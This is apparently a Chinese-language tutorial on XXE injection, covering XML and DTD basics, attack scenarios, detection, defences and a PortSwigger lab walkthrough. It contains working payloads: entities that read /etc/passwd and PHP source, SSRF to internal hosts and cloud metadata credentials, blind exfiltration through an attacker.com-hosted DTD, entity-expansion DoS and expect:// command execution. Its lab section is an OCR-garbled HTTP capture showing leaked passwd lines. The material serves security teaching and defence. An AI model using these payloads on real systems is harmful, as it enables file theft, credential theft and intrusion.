概述
XXE 的全称是 XML External Entity Injection（XML 外部实体注入），是一种针对解析 XML 格式数据的应用程序安全漏洞。
其核心是利用 XML 文档中 “外部实体” 的定义功能，注入恶意外部资源，诱导 XML 解析器加载或执行这些资源，从而窃取敏感信息、探测内网或发起攻击。
在某些情况下，攻击者可以利用 XXE 漏洞执行服务器端请求伪造 (SSRF) 攻击，从而升级 XXE 攻击以危害底层服务器或其他后端基础设施。
XML
XML 全称 可扩展标记语言（eXtensible Markup Language），是一种用于存储和传输数据的标记语言，核心目的是定义数据的结构和含义，而非直接控制数据的显示（与 HTML 不同）。
具有平台无关性、可扩展性和自我描述性，广泛用于数据交换、配置文件、文档标准化等场景。
特性
可扩展性（Extensible）
与 HTML 固定的预定义标签（如 \<p>、\<div>）不同，XML 没有预设标签，用户可根据需求自定义标签（如 \<user>、\<order-id>），灵活适配不同业务场景的数据结构。
平台无关性
XML 是纯文本格式，不依赖特定操作系统或编程语言（如 Java、Python、C# 均能解析），是跨系统数据交换的常用格式。
自我描述性
XML 标签本身能反映数据的含义（如 \<name>张三\</name> 直接说明内容是 “姓名”），无需额外文档解释，数据可读性强。
严格的语法规则
必须有且仅有一个根元素（所有其他元素都嵌套在根元素内）；

标签必须成对出现（如 \<user> 对应\ \</user>），空标签需闭合（如 \<age/>）；

标签区分大小写（\<Name> 和 \<name> 是不同标签）；

属性值必须用引号包裹（如 \<user id="123">）。

示例：
<?xml version="1.0" encoding="UTF-8"?>  <!-- XML 声明：版本、编码 -->

<users>  <!-- 根元素：所有用户数据的容器 -->

  <user id="1">  <!-- 子元素：单个用户，含属性 id -->

    <name>张三</name>  <!-- 嵌套子元素：姓名 -->

    <age>25</age>      <!-- 嵌套子元素：年龄 -->

    <email>zhangsan@example.com</email>  <!-- 嵌套子元素：邮箱 -->

  </user>

  <user id="2">  <!-- 另一个用户 -->

    <name>李四</name>

    <age>30</age>

    <email>lisi@example.com</email>

  </user>

</users>  <!-- 根元素闭合 -->

DTD
DTD 全称 文档类型定义（Document Type Definition），是 XML 中用于约束和定义 XML 文档结构的规则集。
相当于 XML 文档的 “语法说明书”，规定了 XML 中允许出现的元素、属性、元素的嵌套关系、数据类型以及实体引用等，确保 XML 文档的结构统一、合法，便于不同系统间解析和交换。
核心作用
DTD 的核心目标是 “规范化 XML 结构”，具体可拆解为 4 个关键功能：
定义允许的元素：指定 XML 中可出现的元素名称及元素的 “内容模型”（如元素是文本、子元素，还是混合内容）。

例：规定 XML 中只能有 \<users>、\<user>、\<name> 等元素，不允许出现未定义的 \<abc> 元素。
约束元素的嵌套关系：明确子元素的顺序、出现次数（如 “必须出现”“可选”“可重复”）。

例：规定 \<user> 元素下必须包含 \<name> 和 \<age>，且 \<name> 必须在 \<age> 之前。
定义元素的属性：指定元素可拥有的属性名、属性类型（如字符串、枚举值）及默认值（如属性是否必填、是否有默认值）。

例：规定 \<user> 元素必须有 id 属性，且 id 是数字类型。
声明实体：定义可复用的文本片段（如通用的公司名称、特殊符号），简化 XML 编写并统一维护。

例：定义实体 &company; 对应 “XX 科技”，XML 中可直接使用 &company; 代替重复书写。
两种引用方式
DTD 不直接包含在 XML 数据中，而是通过 “引用” 关联到 XML 文档，分为内部 DTD 和 外部 DTD 两种方式。
内部DTD
内部 DTD 直接写在 XML 文档的 “文档类型声明” 中，仅对当前 XML 文档生效，适合简单、专属的结构约束。
<?xml version="1.0" encoding="UTF-8"?>

<!-- 内部 DTD：用 [ ... ] 包裹 DTD 规则 -->

变量名 = 变量值

<!DOCTYPE 根元素名 [

  <!-- DTD 规则（元素、属性、实体声明）-->

  <!ENTITY 实体名 实体值>

    

]>



<!-- XML 数据内容 -->

<根元素名>

&实体名;

  ...

</根元素名>

外部DTD
外部 DTD 是一个独立的文件（后缀为 .dtd），可被多个 XML 文档引用，适合需要统一约束的场景（如行业标准、多系统共用结构）。
根据是否公开，外部 DTD 又分为 系统外部 DTD（自定义、私有）和 公共外部 DTD（公开、标准化，如 HTML 的 DTD）。
系统外部DTD：引用自定义的 .dtd 文件，需指定文件路径（本地路径或网络 URL）。
<?xml version="1.0" encoding="UTF-8"?>

<!-- 系统外部 DTD：SYSTEM 后接 .dtd 文件路径 -->

<!DOCTYPE 根元素名 



<!ENTITY 实体名 SYSYEM/PUBLIC “外部实体资源zi kj”>

SYSTEM "dtd文件路径（本地/URL）">



<!-- XML 数据：遵循外部 DTD 的规则 -->

<根元素名>

  ...

</根元素名>

公共外部DTD：引用公开的、标准化的 DTD（如 W3C 定义的 HTML 4.01 DTD），需用 PUBLIC 标识，并指定 “公共标识符”（用于定位标准 DTD）。
语法结构：\<!DOCTYPE 根元素名 PUBLIC "公共标识符" "DTD文件URL（可选）">
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 

"http://www.w3.org/TR/html4/loose.dtd">

<html>

  <head>...</head>

  <body>...</body>

</html>

基本语法
DTD 由 元素声明、属性声明、实体声明 三部分核心语法组成。
元素声明
用于指定元素名称及 “内容模型”（元素包含的内容类型）。
语法：\<!ELEMENT 元素名 内容模型>
内容模型可选值：
#PCDATA：纯文本（不可包含子元素），如 \<!ELEMENT name (#PCDATA)>；

子元素列表：指定子元素及顺序 / 次数，如 \<!ELEMENT user (name, age)>；

EMPTY：元素无内容（空标签），如 \<!ELEMENT img EMPTY>；

ANY：元素可包含任意内容（文本或子元素），如 \<!ELEMENT note ANY>。

子元素 “出现次数” 的符号：
	符号
	含义
	示例
	

	无
	必须出现 1 次
	(name, age) → 各 1 次
	

	?
	可选（0 或 1 次）
	(phone?) → 可有可无
	

	
	可重复（0 或多次）
	(tag) → 0 次及以上
	

	+
	至少 1 次
	(user+) → 1 次及以上
	

	\
	
	多选一（子元素任选一个）
	(name\


属性声明
用于指定元素可拥有的属性、属性类型以及默认值。
语法：\<!ATTLIST 元素名 属性名 属性类型 默认值>
常见 “属性类型”：
CDATA：普通字符串（如 id CDATA）；

(值1|值2|值3)：枚举（属性值只能是列出的选项），如 gender (male|female)；

ID：属性值是唯一标识符（整个 XML 中不可重复），如 id ID。

常见 “默认值”：
	关键字
	含义
	示例

	#REQUIRED
	属性必填（不可省略）
	id CDATA #REQUIRED

	#IMPLIED
	属性可选（可省略）
	phone CDATA #IMPLIED

	#FIXED "值"
	属性值固定（必须等于该值）
	version CDATA #FIXED "1.0"

	"默认值"
	可选，省略时用默认值
	city CDATA "Beijing"


实体声明
实体是 XML 中的 “文本占位符”，用于定义重复使用的内容（如通用文本、特殊符号），分为 通用实体（XML 中使用）和 参数实体（仅 DTD 内部使用）。
通用实体语法结构：\<!ENTITY 实体名 "实体内容">，在XML 中用 &实体名; 引用。
<!DOCTYPE users [

  <!-- 定义通用实体：&company; 对应“XX科技有限公司” -->

  <!ENTITY company "XX科技有限公司">

  <!ELEMENT users (user+)>

  <!ELEMENT user (name, company)>

  <!ELEMENT name (#PCDATA)>

  <!ELEMENT company (#PCDATA)>

]>



<users>

  <user>

    <name>张三</name>

    <company>&company;</company> <!-- 引用实体，解析后为“XX科技有限公司” -->

  </user>

</users>



参数实体语法结构：\<!ENTITY % 实体名 "实体内容">，仅DTD内部用 %实体名; 引用。
<!DOCTYPE users [

  <!-- 定义参数实体：%common; 对应重复的子元素 -->

  <!ENTITY % common "(name, age, email)">

  <!-- 引用参数实体，等价于 <!ELEMENT user (name, age, email)> -->

  <!ELEMENT user %common;>

  <!ELEMENT users (user+)>

  <!ELEMENT name (#PCDATA)>

  <!ELEMENT age (#PCDATA)>

  <!ELEMENT email (#PCDATA)>

]>

核心原理
要理解 XXE，需先明确两个基础概念：XML 实体 和 外部实体。
XML实体
XML 实体：类似编程中的 “变量”，用于在 XML 文档中定义可复用的内容，分为 “内部实体” 和 “外部实体”。
内部实体：实体内容直接在 XML 中定义，例如：
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

  <!ENTITY name "Alice">  <!-- 内部实体：name的值为Alice -->

]>

<note>

  <to>&name;</to>  <!-- 使用实体，最终解析为 <to>Alice</to> -->

</note>

外部实体
实体内容通过SYSTEM关键字引用外部资源（如本地文件、网络 URL），例如：
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

  <!ENTITY ext SYSTEM "file:///etc/passwd">  <!-- 外部实体：引用本地/etc/passwd文件 -->

]>

<note>&ext;</note>  <!-- 使用外部实体，解析器会读取文件内容并替换 -->

触发条件：
应用程序接收并解析用户可控的 XML 数据（如 API 请求体、文件上传中的 XML、配置文件等）；
XML 解析器未禁用外部实体解析（默认情况下，许多旧版解析器会启用外部实体，这是漏洞的关键）。
当满足以上条件时，攻击者可构造包含恶意外部实体的 XML payload，诱导解析器访问敏感资源（如本地文件、内网服务），并将结果返回给攻击者。
典型攻击场景与危害
XXE 的危害范围取决于 XML 解析器的权限和外部实体可访问的资源。
读取本地敏感文件
这是 XXE 最典型的利用方式，攻击者通过外部实体引用服务器本地的敏感文件（如配置文件、密码文件、日志等），并通过 XML 解析结果泄露内容。
例如：通过 file:// 协议读取服务器本地文件。
<!DOCTYPE data [

  <!ENTITY file SYSTEM "file:///etc/passwd">

]>

<user>&file;</user>

若应用程序返回解析后的 XML 内容，攻击者就能直接获取/etc/passwd中的用户账号信息。
变种技巧
使用 php://filter 读取 PHP 文件源码（Base64 编码绕过）
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">

Windows 下通过 file:///c:/windows/win.ini 验证路径
探测内网服务
XML 外部实体支持通过http://等协议访问网络资源，攻击者可利用这一点，让 XML 解析器（运行在服务器上）作为 “跳板”，探测内网 IP、端口及服务状态（如内网数据库、管理后台）。
例如：探测内网 192.168.1.1 的 8080 端口是否开放。
<!DOCTYPE data [

  <!ENTITY ssrf SYSTEM "http://192.168.1.1:8080/internal-api">

]>

<data>&ssrf;</data>

通过观察请求的响应时间（超时则端口可能关闭，快速响应则端口开放），攻击者可绘制内网拓扑。
高级利用：
攻击云元数据服务（如 AWS IMDSv1）：
<!ENTITY metadata SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

结合 DNS 回传数据：
<!ENTITY exfil SYSTEM "http://attacker.com/?data=file:///etc/passwd">

盲注 XXE（Blind XXE）
当响应不可见时，通过带外通信（OOB, Out-of-Band）泄露数据：
<!DOCTYPE data [

  <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">

  %dtd;

]>

<data>&exfil;</data>

攻击者托管 malicious.dtd：
<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%file;'>">

%exfil;

拒绝服务（DoS）
通过构造 “递归实体” 或引用超大文件，可导致 XML 解析器耗尽服务器资源（CPU、内存），引发拒绝服务。
例如：递归实体导致解析崩溃。
<?xml version="1.0"?>

<!DOCTYPE test [

  <!ENTITY a "&b;&b;&b;&b;&b;">  <!-- 引用b 5次 -->

  <!ENTITY b "&c;&c;&c;&c;&c;">  <!-- 引用c 5次 -->

  <!ENTITY c "&d;&d;&d;&d;&d;">  <!-- 引用d 5次 -->

  <!ENTITY d "x">

]>

<test>&a;</test>  <!-- 最终解析为 5^4 = 625个x，递归层级过深会耗尽内存 -->

执行命令
大部分情况下，XXE 无法直接执行命令，但在特定环境下（如 XML 解析器支持expect://等特殊协议，或结合其他漏洞），可间接实现命令执行。
PHP expect 模块：执行系统命令（需 PHP 环境且启用expect模块）
<?xml version="1.0"?>

<!DOCTYPE test [

  <!ENTITY cmd SYSTEM "expect://whoami">  <!-- 执行whoami命令 -->

]>

<test>&cmd;</test>

Jar 协议（Java）：触发反序列化（需特定环境配置）
这种场景较少见，但一旦存在，危害极大（直接获取服务器控制权）。
XXE 漏洞的测试与验证
手动检测
替换 XML 声明：插入恶意 DTD 并观察响应变化。
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<root>&xxe;</root>

修改 Content-Type：将表单的 application/json 改为 application/xml 测试解析器兼容性。
自动化工具
Burp Suite：使用 Scanner 模块或 Collaborator 检测 OOB 请求。
XXEinjector：自动化生成 Payload 并测试多种协议。
OWASP ZAP：主动扫描模式检测 XXE 潜在风险。
盲注检测信号
DNS 查询：观察是否存在 dig 请求到攻击者域名。
HTTP 回调：检查是否接收到来自目标服务器的 GET/POST 请求。
XXE 漏洞防御策略
不同编程语言和 XML 解析库的配置方式不同，核心是关闭 “外部实体支持” 和 “DOCTYPE 声明解析”。
禁用外部实体解析
Java：配置 DocumentBuilderFactory

  factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

  factory.setFeature("http://xml.org/sax/features/external-general-entities", false);

PHP：使用 libxml_disable_entity_loader(true);

Python：defusedxml 库替代标准库

输入过滤与净化
若无法完全禁用 DOCTYPE（部分业务需使用内部实体），需严格过滤用户输入的 XML 中与外部实体相关的关键字，例如：
禁止SYSTEM、PUBLIC（外部实体的标识）；

禁止file://、http://、gopher://等危险协议；

过滤<!DOCTYPE、<!ENTITY等 DTD 声明标签。

使用安全的 XML 解析库
避免使用默认支持外部实体的旧版解析库，优先选择安全性更高的现代库，例如：
替代 Java 的DOM/SAX：使用Jackson或FastXML（默认不解析外部实体）；

替代 Python 的xml.etree.ElementTree：使用lxml并显式禁用实体解析。

限制 XML 解析的资源权限
从操作系统层面限制 XML 解析器进程的权限，例如：
禁止解析进程访问敏感目录（如/etc/、C:\Windows\）；

禁止解析进程访问内网网络（通过防火墙限制出站连接）。

XXE 与 SSRF
XXE 常与 SSRF 混淆，需明确两者的核心差异：
	特性
	XXE（XML 外部实体注入）
	SSRF（服务器端请求伪造）

	依赖场景
	仅针对解析 XML 数据的应用程序
	针对可发起服务器端请求的功能（如 URL 预览）

	触发方式
	构造恶意 XML 的外部实体
	构造恶意 URL 参数

	核心载体
	XML 文档的 DOCTYPE 声明
	HTTP/HTTPS 等协议的请求目标


实验
靶机地址：https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files
已知：靶机中商品具有“Check stock”功能，可以解析 XML 输入并在响应中返回任何意外值。
任务：注入一个 XML 外部实体来检索文件的内容/etc/passwd。
1、访问任意一商品详情，点击【Check stock】，进行抓包，发现请求体是用xml格式。
[image: ]
2、构造XXE的Payload。
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<stockCheck>

    <productId>&xxe;</productId>

    <storeId>1</storeId>

</stockCheck>

3、将原来的XML 替换为构造的Payload，再进行发包。
[image: ]
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POST /product/stock HITP/2

Host: 0a5700£80305584b8180161400550067. web-security-academy. net
Cookie: sessiol 2KRNYpCoxaZ jmewpli 1esDaornptx
Content-Length:

Hex

190
Sec~Ch-Ua-Platform: “Windows”

Accept-Language: zh-CN, zh;q=0. 9
Sec~Ch-Ua: "Not)A;Brand”;v="8",
Content-Type: application/xml
Sec-Ch-Ua-Mobile: 20
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

Accept: */*

Origin: https://0a5700£80305584b8180161400550067. web-security-acadeny. net
Sec-Fetch-Site: same-origin

Sec-Fetch-lode: cors

Sec-Fetch-Dest: empty

Referer:

https://0a5700£80305584b8180161400550067. web-security-academy. net/product ?produ
ctlId=1
Accept-Encoding: gzip,
Priority: u=l, i

”Chromium”;

deflate, br

<7xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd”> 1>
kstockcheck>
<productId>
&xxe;
</productId>
(storeld>
1
</storeld>
</stockCheck>

Response
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HITP/2 400 Bad Request.

Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN

Content-Length: 2338

“Invalid product ID: root:x:0:0:root:/root:/bin/bash
:daemon: /usr/sbin: /usr/sbin/nologin

bin: /bin: /usr/sbin/nologin

1o e W

8
9 sys:/dev: /usr/sbin/nologin
10 4:65534: sync: /bin: /bin/sync

60: games: /usr/games: /usr/sbin/nologin

an: /var/cache/man: /usr/sbin/nologin
/var/spool/lpd: /usr/sbin/nologin
ail:/var/mail:/usr/sbin/nologin

ews: /var/spool/news: /usr/sbin/nologin
:10:uucp: /var/spool/uucp: /usr/sbin/nologin

17 :13:13:proxy: /bin: /usr/sbin/nologin

18 www-data: /var/www: /usr/sbin/nologin

19 :34:backup: /var/backups: /usr/sbin/nologin

20 38:38:MailinglistManager: /var/list: /usr/sbin/nologin
21 ired:/var/run/ircd: /usr/sbin/nologin

:41:41:GnatsBug-ReportingSystem (admin) : /var/1ib/gnats: /usr/sbin/nologin
x:65534: 65534: nobody: /nonexistent: /usr/sbin/nologin

100:65534: : /nonexistent: /usr/sbin/nologin

:12001:12001: : /home/peter: /bin/bash

x:12002:12002: : /home/car los: /bin/bash

12000:12000: : /home/user : /bin/bash

12099:12099: : /home/elmer : /bin/bash

29 academy:x:10000:10000: : /academy: /bin/bash
30 messagebus:x:101:101::/nonexistent: /usr/sbin/nologin
51 dnsmasq:x:102:65534: dnsmasq,

:/var/lib/misc: /usr/sbin/nologin
systemd-timesync:x:103:103:systemdTimeSynchronization,
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POST /product/stock HITP/2

Host: 0a5700£80305584b8180161400550067. web-security-academy. net
Cookie: session=X7K2KRNYpCoxaZ jmewpNilesDqOrnpts
Content-Length: 107

Sec~Ch-Ua-Platform: “Windows”
Accept-Language: zh-CN, zh;q=0. 9

Sec—Ch-Ua: “Not)A;Brand”;v="8", ”Chromium”;
Content-Type: application/xml
Sec-Ch-Ua-Mobile: 20

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537T.36
Accept: */*

Origin: https://0a5700£80305584b8180161400550067. web-security-acadeny. net

Sec-Fetch-Site: same-origin

Sec-Fetch-lode: cors

Sec-Fetch-Dest: empty

Referer: https://0a5700£80305584b8180161400550067. web-security-acadeny. net/product?product Id=1

Accept-Encoding: gzip, deflate, br

Priority: u=l, i

ook W -

="138"
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<7xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>
1
</productId>

<storeld>
1
{/storeld>
{/stockCheck>









